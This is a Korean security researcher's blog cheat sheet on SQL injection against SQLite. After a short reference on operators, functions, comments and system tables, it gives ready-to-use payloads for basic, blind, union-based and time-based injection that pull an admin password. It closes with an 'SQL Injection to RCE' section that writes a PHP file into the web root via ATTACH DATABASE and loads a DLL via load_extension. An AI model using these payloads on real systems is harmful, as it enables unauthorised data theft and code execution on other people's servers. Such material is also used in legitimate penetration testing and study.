Safflower's Blog Security Researcher

SQLite 환경에서의 SQL Injection


SQLite 환경에서의 SQL Injection 공격에 대해 간단히 작성해봤다.

Operators

  • || 연산자: 문자열을 concat할 수 있다. 예를 들면 'abc'||'def''abcdef'와 같다. 이 연산자는 'abc'||FUNCTION() 꼴로 함수에도 사용할 수 있다.
  • LIKE 연산자: 와일드카드(%, _) 기반의 문자열 매칭을 할 수 있다. 예를 들면 'abc' LIKE '_b_'나, 'abc' LIKE 'a%'는 참이다.
  • IN 연산자: 집합 내의 문자열 존재 여부를 판단할 수 있다. 예를 들면 'abc' IN ('abc', 'def', 'hij')는 참이다.

Functions

  • 집계 함수: AVG, COUNT, MAX, MIN, SUM
  • 문자열 함수: SUBSTR, TRIM, LTRIM, RTRIM, LENGTH, UPPER, LOWER, INSTR
  • 흐름 제어 함수: COALESCE, IFNULL, NULLIF
  • 시간 함수: DATE, TIME, DATETIME, JULIANDAY, STRFTIME
  • 수학 함수: ABS, RANDOM, ROUND
  • http://www.sqlitetutorial.net/sqlite-functions/

Commtents

SELECT 1; -- lorem ipsum
SELECT /* lorem ipsum */ 1;

System Tables

SELECT type, name, tbl_name, rootpage, sql FROM sqlite_master;
SELECT name, seq FROM sqlite_sequence;
SELECT tbl, idx, stat FROM sqlite_stat1;

https://www.techonthenet.com/sqlite/sys_tables/

Basic SQL Injection

0 OR 1 --
' OR 1 --
adm'||'in

Blind SQL Injection

0 OR username='admin' AND LENGTH(password)=32 --
0 OR username='admin' AND SUBSTR(password, 1, 1)='a' --
0 OR username='admin' AND password LIKE 'a%' --

Union based SQL Injection

0 UNION SELECT 1, sqlite_version(), 3 --
0 UNION SELECT 1, 2, password FROM users WHERE username='admin' --

Time based SQL Injection

0 AND {random_number}=LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB({sleep_time}00000000/2)))) --

SQL Injection to RCE

ATTACH DATABASE '/var/www/html/attack.php' AS x;
CREATE TABLE x.attack (payload text);
INSERT INTO x.attack (payload) VALUES ('<?php phpinfo(); ?>');
0 UNION SELECT 1, load_extension('/var/www/html/hack.dll', 'DllMain');

Similar Posts

Comments